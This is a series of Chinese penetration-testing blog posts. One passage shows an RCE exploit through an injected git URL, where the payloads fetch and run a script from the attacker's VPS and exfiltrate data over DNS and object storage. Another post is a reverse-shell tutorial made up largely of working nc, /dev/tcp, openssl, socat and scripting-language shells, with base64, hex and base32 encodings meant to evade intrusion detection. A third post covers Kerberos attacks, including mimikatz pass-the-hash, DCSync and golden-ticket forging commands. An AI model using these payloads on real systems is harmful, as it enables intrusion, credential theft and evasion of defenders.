居然可以！ 这下我们就能够成功将 shell 脚本传到服务器上了。

远程 clone

到这里，我才发现还有一个问题需要解决：我们并不知道服务器上的目录，不知道服务器保存 git 文件夹的物理路径，那我上传了之后根本不能 clone。

回想前面提到的，git 是能够出公网的，干脆我们从远程 clone ，如今也就只有这一条路能够走通了，死马当活马医。

先上传一个含有 shell 文件的仓库，这里我们选择在自己 vps 上开启一个 git，github 的协议是不允许的。

然后执行如下的 payload：

https://github.com/qq;aaa=vpsip/malicious.git;bbb=clone;ccc=/tmp/dark;git$IFS$bbb$IFS$aaa$ccc;bash$IFS/tmp/dark/evil;test.git

当我在本地测试的时候，发现 git clone vpsip/malicious.git 居然是走的 ssh 协议，而 ssh 协议既要密钥，又要验证 host key 的指纹，而要走 http[s] 就要指明协议头，但是服务器把这些都过滤了，非常难受，这条路基本上死了。

0x05 柳暗花明

一个 RCE 从发现到利用肯定是循序渐进的，都走到这一步了不能轻言放弃。

经过不停尝试和不停对云架构的幻想和思考，我觉得一定有云服务和内网的服务器是相通的，不管是监控，还是 DMZ，还是各种数据集群、基础架构，肯定有没隔离到位的地方，而且有的服务我们用户也能访问。

于是，我把目标放在了对象存储上面，在不同的厂商有不同的叫法，比如 S3，COS，OSS，这些对象存储有可能能够直接和内网相通，为了优化速度或者之类的操作。

我们新建一个创建一个对象存储，设置为公开可访问，里面随便放个文件，用来验证是否能通。

https://github.com/qq;aaa=oss.aliyuncs.com/file;curl$IFS$aaa;curl$IFS$?.mydnslog.green-m.me;test.git

提取美化一下关键 payload

aaa=oss.aliyuncs.com/file curl $aaa curl $?.mydnslog.green-m.me

$? 表示上一条命令的退出代码，0 表示程序正常退出，无错误，异常退出就是其他不为 0 的数字。

通过这样的命令，我们如果 oss 和我们内网的服务器相通，那么就会发起 0.mydnslog.green-m.me 的请求，否则不通。

通过切换不同的区域，多次尝试，我们成功在 dnslog 中找到一条 0 的记录。

0x06 传输数据

花径不曾缘客扫，蓬门今始为君开。

现在我们有两条路，一条是通过 dns 传输数据，动静比较小；另外一条是把敏感数据都压缩打包，然后通过对象存储全部传出来，动静很大。

我们选择先通过 dns 摸清情况，然后再对象存储。

DNS 传输数据

我们使用前面构造的 payload，将要执行的脚本写入到 oss 中，然后下载执行。

https://github.com/qq;aaa=myvpsip/evil;curl$IFS$aaa$IFS-o/tmp/evil;bash$IFS/tmp/evil;rm$IFS/tmp/evil;test.git

这里我们使用 burpsuite 1.7 版本后有的 Collaborator 功能，为了更方便的传输数据，我优化了一个 扩展 Collabfiltrator，原仓库地址，感谢原作者的项目，我在他的基础上优化了一些操作和设置，也修改了一些我认为是 bug 的地方。

界面：

填入合适的命令，点击 start poll results 开始监听收到的 dns 请求，并进行解析和组合，当命令执行完之后，可以点击 stop 来停止监听。

命令类型分为 windows 和 Linux，有 dig, nslookup 和 ping 来发起 dns 请求。

成功获取到命令执行的结果

我们通过 dns 获取到所需的信息，如系统环境，配置信息，还有目录等，该进行下一步了。

对象存储传输数据

将对象存储的权限设置为公开读写，使用 curl 调用 API 接口将数据写入到对象存储桶中，然后从公网下载回来，成功将所有的 git 服务器数据下载回来，这里就不细说了，payload 都在上面提到了。

0xff 后记

其实后面渗透还有 cdn 反弹 shell，横向移动等等操作，限于篇幅和无亮点，这次的博客就差不多到这里，感谢观看。

对基础 shell 进行流量混淆

Green_m's blog
5 years ago
0x00 前言

最近在渗透公司内网，通过exp实现执行命令，这时都会想拿到一个反弹shell再说。但问题是，面对公司内部各种IDS、IPS，甚至还有HIDS等等，轻举妄动很容易直接打出GG，而且这个时候跑大马是不太现实的，内网环境比较弱。 于是如何在流量层面上，不触发报警然后弹回一个反弹shell，就是本文产生的原因。

下文将介绍一些常见的反弹流量编码/加密的方法，并介绍一下自己写的脚本。

0x01 常见的反弹shell

在真正开始吃正餐之前，让我们来点开胃菜，帮大家回忆一下正常的反弹 shell 一般是怎么操作的：

Server 端

监听8080端口：

nc -lvp 23333 Client 端

反弹shell的方式比较多，网上介绍资料也琳琅满目，这里随便挑一两个例子看看就好：

nc -e /bin/bash x.x.x.x 23333 bash -i >& /dev/tcp/x.x.x.x/23333 0>&1 0<&137-;exec 137<>/dev/tcp/x.x.x.x/23333;sh <&137 >&137 2>&137 mknod backpipe p && telnet x.x.x.x 8080 0< backpipe | /bin/bash 1> backpipe

还有其他起码十几种方法，如perl，python，php等等，不一而足。

0x02 SSL加密的反弹shell

OpenSSL 在常见的Linux系统中普遍存在，我们可以直接用来启动服务端，不依赖其他的脚本。

Server 端

使用 openssl 命令，先生成证书，然后使用命令监听端口。

# Generate cert openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes # openssl openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

使用ncat 命令（ncat 和nc不同，ncat是nmap出的一个nc的增强版，一般需要单独安装。）

ncat -lvnp 4444 --ssl --ssl-cert=cert.pem --ssl-key=key.pem

使用socat命令，需要先生成证书，然后监听

# socat generate cert openssl req -new -x509 -keyout test.key -out test.crt -nodes cat test.key test.crt > test.pem # socat socat openssl-listen:4444,reuseaddr,cert=test.pem,verify=0,fork stdio

也可以使用 dark-shell1来完成该功能，该脚本的好处是不用生成证书。

ruby dark_shell.rb listen 127.0.0.1 4444 ssl

如图：

另外，服务端也可以使用metasploit启动，如下

msf5 exploit(multi/handler) > use exploit/multi/handler msf5 exploit(multi/handler) > set payload cmd/unix/reverse_perl_ssl payload => cmd/unix/reverse_perl_ssl msf5 exploit(multi/handler) > set verbose true verbose => true msf5 exploit(multi/handler) > set lhost 127.0.0.1 lhost => 127.0.0.1 msf5 exploit(multi/handler) > set lport 2332 lport => 2332 msf5 exploit(multi/handler) > set exitonsession false msf5 exploit(multi/handler) > exploit -j

reverse_perl_ssl，reverse_python_ssl, reverse_ruby_ssl 等 监听的 payload 其实完全一样，这里是可以混用的。

Client 端

还是可以使用 openssl 命令：

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 172.16.1.174:1337 > /tmp/s; rm /tmp/s

ncat 也可以，但较少遇到

ncat --ssl 127.0.0.1 4444 -e /bin/bash

socat，第一行是比较常见和简单的形式，第二行是交互型的shell

socat exec:'bash' openssl-connect:127.0.0.1:4444,verify=0 socat exec:'bash -li',pty,stderr,setsid,sigint,sane openssl-connect:127.0.0.1:4444,verify=0

Perl

perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);$c=IO::Socket::SSL->new(PeerAddr=>"127.0.0.1:2332",SSL_verify_mode=>0);while(sysread($c,$i,8192)){syswrite($c,`$i`);}'

Ruby

ruby -rsocket -ropenssl -e 'c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new("127.0.0.1","1234")).connect;while(cmd=c.gets);puts(cmd);IO.popen(cmd.to_s,"r"){|io|c.print io.read}end'

PHP

php -r '$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://127.0.0.1:4444",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}'&

Python（需要自己解码修改然后重新编码）

python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCnM9c3NsLndyYXBfc29ja2V0KHNvKQp5bj1GYWxzZQp3aGlsZSBub3QgeW46CglkYXRhPXMucmVjdigxMDI0KQoJaWYgbGVuKGRhdGEpPT0wOgoJCXluID0gVHJ1ZQoJcHJvYz1zdWJwcm9jZXNzLlBvcGVuKGRhdGEsc2hlbGw9VHJ1ZSxzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsc3RkaW49c3VicHJvY2Vzcy5QSVBFKQoJc3Rkb3V0X3ZhbHVlPXByb2Muc3Rkb3V0LnJlYWQoKSArIHByb2Muc3RkZXJyLnJlYWQoKQoJcy5zZW5kKHN0ZG91dF92YWx1ZSkK'.decode('base64'))" >/dev/null 2>&1

使用 dark-shell 生成命令，会自动化输出客户端连接命令，包含各种各样的 payload

$ ruby dark_shell.rb gen 127.0.0.1 4444 ssl ____ _ ____ _ _ _ | _ \ __ _ _ __| | __ / ___|| |__ ___| | | | | | |/ _` | '__| |/ / \___ \| '_ \ / _ \ | | | |_| | (_| | | | < ___) | | | | __/ | | |____/ \__,_|_| |_|\_\ |____/|_| |_|\___|_|_| See more: https://github.com/Green-m/dark-shell SSL payload to connect 127.0.0.1:4444 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:4444 > /tmp/s; rm /tmp/s ncat --ssl 127.0.0.1 4444 -e /bin/bash socat exec:'bash' openssl-connect:127.0.0.1:4444,verify=0 perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);$c=IO::Socket::SSL->new(PeerAddr=>"127.0.0.1:4444",SSL_verify_mode=>0);while(sysread($c,$i,8192)){syswrite($c,`$i`);}' ruby -rsocket -ropenssl -e 'c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new("127.0.0.1","4444")).connect;while(cmd=c.gets);puts(cmd);IO.popen(cmd.to_s,"r"){|io|c.print io.read}end' php -r '$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://127.0.0.1:4444",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}'& python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCnM9c3NsLndyYXBfc29ja2V0KHNvKQp5bj1GYWxzZQp3aGlsZSBub3QgeW46CiAgICBkYXRhPXMucmVjdigxMDI0KQogICAgaWYgbGVuKGRhdGEpPT0wOgogICAgICAgIHluID0gVHJ1ZQogICAgcHJvYz1zdWJwcm9jZXNzLlBvcGVuKGRhdGEsc2hlbGw9VHJ1ZSxzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsc3RkaW49c3VicHJvY2Vzcy5QSVBFKQogICAgc3Rkb3V0X3ZhbHVlPXByb2Muc3Rkb3V0LnJlYWQoKSArIHByb2Muc3RkZXJyLnJlYWQoKQogICAgcy5zZW5kKHN0ZG91dF92YWx1ZSkK'.decode('base64'))" >/dev/null 2>&1

注意：

服务端的命令和客户端的命令不一定需要相同，是可以混用的。比如用 ncat 的服务端，可以使用perl/python/socat 等方式链接，甚至 metasploit 的 reverse_perl_ssl 作为服务端监听的端口，也可以使用 ncat -ssl 进行连接，底层的原理都是一样的。

0x03 Base64/Base32/Hex 编码的反弹shell

为什么会选择这三种方式来编码流量呢，因为大部分的系统里面都自带这几个命令，这也符合本文的出发点。

Base64 / Base32 / Hex 三者的命令和原理都很类似，因此就放一起来讲。

由于nc / bash / telnet 等命令基本都不支持对流量进行编码，因此需要我们对流量进行单独处理。

Server 端

服务端使用原生自带的命令来监听比较麻烦，命令比较长，也容易出问题。因此我这里就直接采用 dark-shell 的方式来进行。

使用 dark-shell

ruby dark_shell.rb listen 0.0.0.0 4444 base64 ruby dark_shell.rb listen 0.0.0.0 4444 base32 ruby dark_shell.rb listen 0.0.0.0 4444 hex Client 端

通过三个命令来实现（如果有更好的欢迎在评论中补充）:

exec

# base64 0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|base64 -d|sh |base64 >&137 2>&137;done # base32 0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|base32 -d|sh |base32 >&137 2>&137;done # hex 0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|xxd -r -p|sh |xxd -p >&137 2>&137;done

nc

# base64 mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|base64 -d|bash|base64 &> backpipe; done # base32 mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|base32 -d|bash|base32 &> backpipe; done # hex mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|xxd -r -p|bash|xxd -p &> backpipe; done

telnet

# base64 tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|base64 -d|bash|base64 &> backpipe; done # base32 tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|base32 -d|bash|base32 &> backpipe; done # hex tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|xxd -r -p|bash|xxd -p &> backpipe; done

dark-shell 直接生成，最后的参数为编码的方式。

$ ruby dark_shell.rb gen 127.0.0.1 4444 hex ____ _ ____ _ _ _ | _ \ __ _ _ __| | __ / ___|| |__ ___| | | | | | |/ _` | '__| |/ / \___ \| '_ \ / _ \ | | | |_| | (_| | | | < ___) | | | | __/ | | |____/ \__,_|_| |_|\_\ |____/|_| |_|\___|_|_| See more: https://github.com/Green-m/dark-shell HEX payload to connect 127.0.0.1:4444 0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|xxd -r -p|sh |xxd -p >&137 2>&137;done mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|xxd -r -p|sh|xxd -p &> backpipe;done;rm backpipe mknod backpipe p;tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|xxd -r -p|sh|xxd -r -p &> backpipe;done;rm backpipe 0x04 编码命令

由于 hids，nids，waf 等各种安全检测手段的存在，我们的命令可能直接会匹配上某些正则规则（大部分ids还依赖这样比较低级的手法来检测），从而触发报警；另外， 前文中的 hex 和 base64 编码的命令，是多条命令拼接和处理的，存在大量符号和空格，容易被截断和转义。

出于这两种情况的存在，我们可以对命令进行编码，来解决这样的问题。

如本来命令为

whoami

可以编码为

/bin/bash -c '{echo,d2hvYW1pCg==}|{base64,-d}|{bash,-i}'

或

echo 77686f616d690a|xxd -p -r| bash -i

这样就有不容易将我们真正的 payload 截断或者转义了，某些情况下，如果运气比较好也能绕过一些IDS。

在 dark-shell 里我直接实现了这样的功能：

$ ruby dark_shell.rb gencode 172.0.0.1 4444 base64 ____ _ ____ _ _ _ | _ \ __ _ _ __| | __ / ___|| |__ ___| | | | | | |/ _` | '__| |/ / \___ \| '_ \ / _ \ | | | |_| | (_| | | | < ___) | | | | __/ | | |____/ \__,_|_| |_|\_\ |____/|_| |_|\___|_|_| See more: https://github.com/Green-m/dark-shell BASE64 payload to connect 172.0.0.1:4444 --------------------------------------------------------------- 0<&137-;exec 137<>/dev/tcp/172.0.0.1/4444;cat <&137 |while read ff; do echo $ff|base64 -d|sh |base64 >&137 2>&137;done sh -c '{echo,MDwmMTM3LTtleGVjIDEzNzw+L2Rldi90Y3AvMTcyLjAuMC4xLzQ0NDQ7Y2F0IDwmMTM3IHx3aGlsZSByZWFkIGZmOyBkbyBlY2hvICRmZnxiYXNlNjQgLWR8c2ggfGJhc2U2NCA+JjEzNyAyPiYxMzc7ZG9uZQ==}|{base64,-d}|{bash,-i}' sh -c '{echo,303c263133372d3b65786563203133373c3e2f6465762f7463702f3137322e302e302e312f343434343b636174203c26313337207c7768696c6520726561642066663b20646f206563686f202466667c626173653634202d647c7368207c626173653634203e2631333720323e263133373b646f6e65}|{xxd,-p,-r}|{bash,-i}' sh -c '{echo,GA6CMMJTG4WTWZLYMVRSAMJTG46D4L3EMV3C65DDOAXTCNZSFYYC4MBOGEXTINBUGQ5WGYLUEA6CMMJTG4QHY53INFWGKIDSMVQWIIDGMY5SAZDPEBSWG2DPEASGMZT4MJQXGZJWGQQC2ZD4ONUCA7DCMFZWKNRUEA7CMMJTG4QDEPRGGEZTOO3EN5XGK===}|{base32,-d}|{bash,-i}' --------------------------------------------------------------- mknod backpipe p;tail -f backpipe |nc 172.0.0.1 4444 | while read ff; do echo $ff|base64 -d|sh|base64 &> backpipe;done;rm backpipe sh -c '{echo,bWtub2QgYmFja3BpcGUgcDt0YWlsIC1mIGJhY2twaXBlIHxuYyAxNzIuMC4wLjEgNDQ0NCB8IHdoaWxlIHJlYWQgZmY7IGRvIGVjaG8gJGZmfGJhc2U2NCAtZHxzaHxiYXNlNjQgJj4gYmFja3BpcGU7ZG9uZTtybSBiYWNrcGlwZQ==}|{base64,-d}|{bash,-i}' sh -c '{echo,6d6b6e6f64206261636b7069706520703b7461696c202d66206261636b70697065207c6e63203137322e302e302e312034343434207c207768696c6520726561642066663b20646f206563686f202466667c626173653634202d647c73687c62617365363420263e206261636b706970653b646f6e653b726d206261636b70697065}|{xxd,-p,-r}|{bash,-i}' sh -c '{echo,NVVW433EEBRGCY3LOBUXAZJAOA5XIYLJNQQC2ZRAMJQWG23QNFYGKID4NZRSAMJXGIXDALRQFYYSANBUGQ2CA7BAO5UGS3DFEBZGKYLEEBTGMOZAMRXSAZLDNBXSAJDGMZ6GEYLTMU3DIIBNMR6HG2D4MJQXGZJWGQQCMPRAMJQWG23QNFYGKO3EN5XGKO3SNUQGEYLDNNYGS4DF}|{base32,-d}|{bash,-i}' --------------------------------------------------------------- mknod backpipe p;tail -f backpipe |telnet 172.0.0.1 4444 | while read ff; do echo $ff|base64 -d|sh|base64 -d &> backpipe;done;rm backpipe sh -c '{echo,bWtub2QgYmFja3BpcGUgcDt0YWlsIC1mIGJhY2twaXBlIHx0ZWxuZXQgMTcyLjAuMC4xIDQ0NDQgfCB3aGlsZSByZWFkIGZmOyBkbyBlY2hvICRmZnxiYXNlNjQgLWR8c2h8YmFzZTY0IC1kICY+IGJhY2twaXBlO2RvbmU7cm0gYmFja3BpcGU=}|{base64,-d}|{bash,-i}' sh -c '{echo,6d6b6e6f64206261636b7069706520703b7461696c202d66206261636b70697065207c74656c6e6574203137322e302e302e312034343434207c207768696c6520726561642066663b20646f206563686f202466667c626173653634202d647c73687c626173653634202d6420263e206261636b706970653b646f6e653b726d206261636b70697065}|{xxd,-p,-r}|{bash,-i}' sh -c '{echo,NVVW433EEBRGCY3LOBUXAZJAOA5XIYLJNQQC2ZRAMJQWG23QNFYGKID4ORSWY3TFOQQDCNZSFYYC4MBOGEQDINBUGQQHYIDXNBUWYZJAOJSWCZBAMZTDWIDEN4QGKY3IN4QCIZTGPRRGC43FGY2CALLEPRZWQ7DCMFZWKNRUEAWWIIBGHYQGEYLDNNYGS4DFHNSG63TFHNZG2IDCMFRWW4DJOBSQ====}|{base32,-d}|{bash,-i}'

通过- - - 符号来分隔，每段的第一条表示编码前的命令，后面三条命令是不同的编码形式： base64, hex, base32。

这样生成还算比较方便， 你也可以根据自己的需求进行其他变换。

0x05 使用非原生命令或程序

本文的重点是尽量考虑使用原生命令来实现流量编码，一般是受限制的环境或者是最开始的渗透阶段，没有足够的条件去上传或者下载大马。

不过这里也简单提一下非原生的程序或者木马来实现该功能。

Meterpreter

MSF 中的 meterpreter 最常用的 reverse_tcp 就是进行过编码的，根据自己的流量进行协商，追求更好的效果可以考虑使用 reverse_tcp_rc4 或 reverse_https

SBD

使用类似nc，加密传输的工具

# server sbd 127.0.0.1 4444 -e /bin/bash # client sbd -lvp 4444 其他各种开源/商业的远控和木马

PoisonIvy 、cobaltstrike、灰鸽子等，不具体展开了，非常多。

0x06 总结

自从换了工作之后又很久没写博客了，正好最近研究了一些新的东西，分享出来，希望对大家有所帮助。

最后祝大家身体健康！

0x07 附录

  1. dark-shell 是笔者写的一个脚本，用来自动化本文的一些操作，见 https://github.com/Green-m/dark-shell ↩

调戏地狱三头犬 Kerberos

Green_m's blog
5 years 9 months ago
0x00 前言

本文主要介绍一些 Kerberos 协议的原理和围绕其展开的攻防研究，针对黄金/白银票据如何工作的细节进行了一些研究。

最初的 Kerberos 协议是由 MIT 制定的，很多系统在实现过程中有不同的细节，如 Windows Kerberos 认证协议中就新增了 PAC 认证这一块，需要特别注意。

本文主要是以 Windows Kerberos 的实现为主，但查阅资料时可能会有部分细节来源自 MIT 的标准，若有纰漏还望读者包涵指正。

0x01 NTHash 和 Net-NTLM

在介绍Kerberos协议之前，先简单介绍一下 windows 本地存储密码机制的相关知识。

NTHash（A.K.A NTLM）

在 Windows中， 存储的密码Hash就叫做 NTHash，也叫做 NTLM，其中NTLM 全称是 “NT LAN Manager”，NTHash 是通过对密码明文进行十六进制和unicode转换，然后md4算法运算后得到（算法表示为MD4(UTF-16-LE(password)) ）。这个 NTHash 就是存在 SAM 数据库里，能够直接被 mimikatz 抓取的 hash，也存在域控的 NTDS 文件中，使用这个 hash 可以直接进行 pass-the-hash 攻击。

Net-NTLMv2

这是一种网络认证协议，其使用 NTHash 为基础，基于 challenge/response 的机制来实现服务端和客户端的双方认证。在局域网或者域中，经常会使用 Net-NTLM 协议来进行认证，大概流程如下：

  1. Client 向 Server端发送请求，要求使用 Tom 用户进行认证。
  2. Server 端收到后，生成一个随机字符串C，使用 Tom 账号的 NTHash 对C加密。将未加密的C发送给 Client。
  3. Client 收到C后，用 Tom 的 NTHash 对C 加密，然后发送给 Server。
  4. Server 收到后，验证两边加密的结果是否相等，相等就表示通过。

通过这样的认证流程，就能够在不发送用户密码明文和Hash的情况下进行认证了。

通过 Responder 等工具抓取流量获取到的 hash 是 Net-NTLM 加密过后的hash，这类hash不能直接用来进行 pass-the-hash 攻击，但是可以用来进行重放攻击，也存在暴力破解的可能性。具体原因可以参考上面的流程。

0x02 Pass The Hash

通过对上面原理的介绍，我们发现，即使不能获取到某个账号的明文密码，仅仅获取NTLM Hash也是大有可为的。一旦获取了某个账号的NTLM Hash，我们就能够进行 Pass The Hash 攻击（PTH）。

Pass The Hash 攻击

  • Metasploit ( exploit/windows/smb/psexec, tools/exploit/psexec.rb )
  • Psexec.exe
  • mimikatz
mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a user : Administrateur domain : chocolate.local program : cmd.exe NTLM : cc36cf7a8514893efccd332446158b1a | PID 712 | TID 300 | LUID 0 ; 362544 (00000000:00058830) \_ msv1_0 - data copy @ 000F8AF4 : OK ! \_ kerberos - data copy @ 000E23B8 \_ rc4_hmac_nt OK \_ rc4_hmac_old OK \_ rc4_md4 OK \_ des_cbc_md5 -> null \_ des_cbc_crc -> null \_ rc4_hmac_nt_exp OK \_ rc4_hmac_old_exp OK \_ *Password replace -> null 0x03 Kerberos 协议简介

Kerberos 协议认证的原理和上述提到的 NTLM 有很多类似的地方，下面简单介绍一下Kerberos 的认证流程。

  1. （AS-REQ）Client 发送用户名 Tom 到 KDC （Key Distribution Center）以向 AS （Authentication Service）请求 TGT 票据等信息。

  2. （AS-REP）收到请求后，AS 生成随机字符串 Session Key，使用 Tom 的 NTLM Hash 对 Session Key 加密得到密文 A，再使用账号 krbtgt 的 NTLM Hash 对 Session Key 、 Client Info和 timestamp 加密得到 TGT，A 和 TGT 一起返回给 Client。

  3. （TGS-REQ） Client 收到请求后，使用自身的 NTLM Hash 解密 A 就能得到 Session Key，然后使用 Session Key 对 Client Info 和 timestamp 加密得到 B，加上 TGT ，发送给 KDC中的 TGS。

  4. （TGS-REP）TGS 收到请求后，使用 krbtgt 的 NTLM Hash 解密 TGT，得到 Session Key 和 timestamp 以及 Client Info，同时，使用 TGT 解密出的 Session Key 解密密文B，得到Client Info 和 timestamp。 比对这两部分解密得到的内容以验证是否通过。通过后，生成一个新的随机数 Session Key2，并用它加密 client info 和 timestamp 得到密文 enc-part；使用服务器计算机的NTLM Hash 对 session key2 和 client info 以及 timestamp 加密得到最终的 Ticket，返回给 Client。

  5. （AP-REQ）Client 使用 Ticket 和 enc-part 直接请求某服务。

  6. （AP-REP） 对Ticket 和 enc-part 解密后进行验证授权。

注意：

  • Kerberos 协议设计的思路就是用来在不受信的环境下进行认证的协议。

  • krbtgt 账号的 NTLM Hash 理论上只存在于 KDC 中。这意味着 TGT 只能由 KDC 来解密。如果krbtgt 账号的NTLM Hash泄露了，那么 TGT 就能被解密甚至伪造。伪造的 TGT 叫做黄金票据。

  • Ticket 是由服务器计算机本身的 NTLM Hash 加密的，Client 不能解密。如果该Hash 泄露，那么就可以解密甚至伪造 Ticket。伪造的 Ticket 叫做白银票据。

  • 在上述的流程中，涉及到时间戳 timestamp，由于它的存在，才使得被第三方获取了加密信息 A 、B、TGT不会在短时间内被暴力破解。timestamp 一般时间为8小时。

  • Kerberos 协议和 NTLM 协议都会使用 NTLM Hash 对生成的任意随机数加密，然后比对结果。 Kerberos 的主要区别在于添加了第三方——-KDC参与到认证过程中。

  • Client info 中包含域名信息、Client 名称等

0x04 Kerberos PAC 验证

PAC（Privilege Account Certificate）是用来验证数据合法性的一个扩展功能，它被包含在 Kerberos Ticket 中以一个数据结构体存在。 PAC 结构体包含安全标识符，组成员身份，用户配置文件信息和密码凭据等信息。PAC 验证的目的是为了解决 PAC 欺骗，防止攻击者利用篡改的 PAC 信息实现未授权访问。

下图显示了Kerberos PAC 认证过程。

默认情况下 PAC 验证是不开启的，开启后会增加一些网络和性能上的消耗。

MS14-068 漏洞，就是基于 PAC 认证的错误，从而导致域内普通用户可以伪造凭据，从而提权到管理员权限。

0x05 Pass The Ticket 黄金票据（Gold Ticket）

攻击者在获取了 krbtgt 账号的 ntlm hash 后，就能自己任意伪造 TGT（包括session key，client info等内容），然后直接发送给 kdc，实现任意权限伪造。

伪造黄金票据所需信息

  • 目标的域名信息（如：vln2012.local)
  • 目标域名的 SID （可通过 lsadump::lsa 获取）
  • 伪造的账号名称（如： Administrator）
  • 伪造账号的 RID （RID 是 SID 最右边的一部分，默认的 Administrator 账号的 RID 是 500）
  • 伪造账号所属组的 RIDs （如 Domain Users 和 Domain Admins 的RIDs 分别是 512 和 513）
  • 一个或者多个 krbtgt 账号的 Hash （如： RC4 加密的 NTLM Hash，AES-128 HMAC 、AES-256 HMAC）

伪造黄金票据的方法和工具

首先需要获取 krbtgt 账号的 hash，常用的方法如下：

  • DCSync (mimikatz)

mimikatz 会模拟域控，向目标域控请求账号密码信息。 这种方式动静更小，不用直接登陆域控，也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。

lsadump::dcsync /user:krbtgt

或者在 meterpreter 中使用 kiwi 扩展

dcsync_ntlm krbtgt
  • LSA(mimikatz)

mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取

privilege::debug lsadump::lsa /inject /name:krbtgt
  • Hashdump(Meterpreter)

  • ntds.dit

将域控中的数据库 ntds.dit 复制出来使用其他工具解析，需要注意有时候这个 ntds.dit 是非常大的。

伪造黄金票据：

Mimikatz

mimikatz # kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /id:1107 /groups:513 /ticket:utilisateur.chocolate.kirbi User : utilisateur Domain : chocolate.local SID : S-1-5-21-130452501-2365100805-3685010670 User Id : 1107 Groups Id : *513 krbtgt : 310b643c5316c8c3c70a10cfb17e2e31 - rc4_hmac_nt Lifetime : 15/08/2014 01:57:29 ; 12/08/2024 01:57:29 ; 12/08/2024 01:57:29 -> Ticket : utilisateur.chocolate.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file !

Meterpreter

golden_ticket_create -d chocolate.local -u utilisateur -s S-1-5-21-130452501-2365100805-3685010670 -k 310b643c5316c8c3c70a10cfb17e2e31 -t utilisateur.chocolate.kirbi

注入当前用户内存中：

Mimikatz

kerberos::ptt utilisateur.chocolate.kirbi

Meterpreter

kerberos_ticket_use utilisateur.chocolate.kirbi

查看内存中的 ticket

kerberos::list kerberos::tgt kerberos_ticket_list # meterpreter

访问域内其他服务器

dir \\WIN-PTELU2U07KG\C$

注意：如果使用 IP 地址访问的话会失败，使用 Netbios 的服务名访问才会走 Kerberos 协议（具体原因可以比较两协议的原理得出）。

通过 psexec 执行命令

PsExec64.exe \\WIN-PTELU2U07KG\ cmd.exe

理论上也可以使用 powershell、wmic 来远程执行命令。

黄金票据的特点

  • 黄金票据可以冒充域内任何用户生成对应的 Kerberos TGT 票证。因此，它可以用来任何合法的用户，虽然一般都会选择域管理员帐户；

  • 可以离线创建。一旦收集了创建黄金票据所需的所有数据，就不需要连接到域（参见上面的内容）;
  • 在有限期内都有效。Mimikatz 默认值为10年，也提供了参数可以创建任意有效期的黄金票据。但如果域管理员修改了 krbtgt 账户的 Hash， 黄金票据就会立即失效；
  • 域组策略中修改 Kerberos Policy 中的生存周期（lifetime）不会影响到黄金票据（默认更新时间为10小时，总有效时间为7天）。KDC 会验证 TGT 中的存活时间戳，而不是域控上的组策略设置。攻击者生成任何生存周期的黄金票据;
  • 被冒充的帐户重置密码不会影响到黄金票据；
  • 重置 krbtgt 账号的密钥会使所有的黄金票据失效；
  • Windows 事件日志不区分合法TGT与黄金票据。 因此目前没有通用的规则来检测黄金票据使用。
白银票据 （Silver Ticket）

通过获取 Server 端本地计算机账户（或服务账号）对应的 NTLM Hash，在不用与 KDC 进行通信的情况下，就能伪造该计算机任意服务的 Ticket。

伪造白银票据所需的信息：

  • 目标的域名信息（如：example.domain.local)
  • 目标域名的 SID （可通过 lsadump::lsa 获取）
  • 伪造的账号名称（如： Administrator）
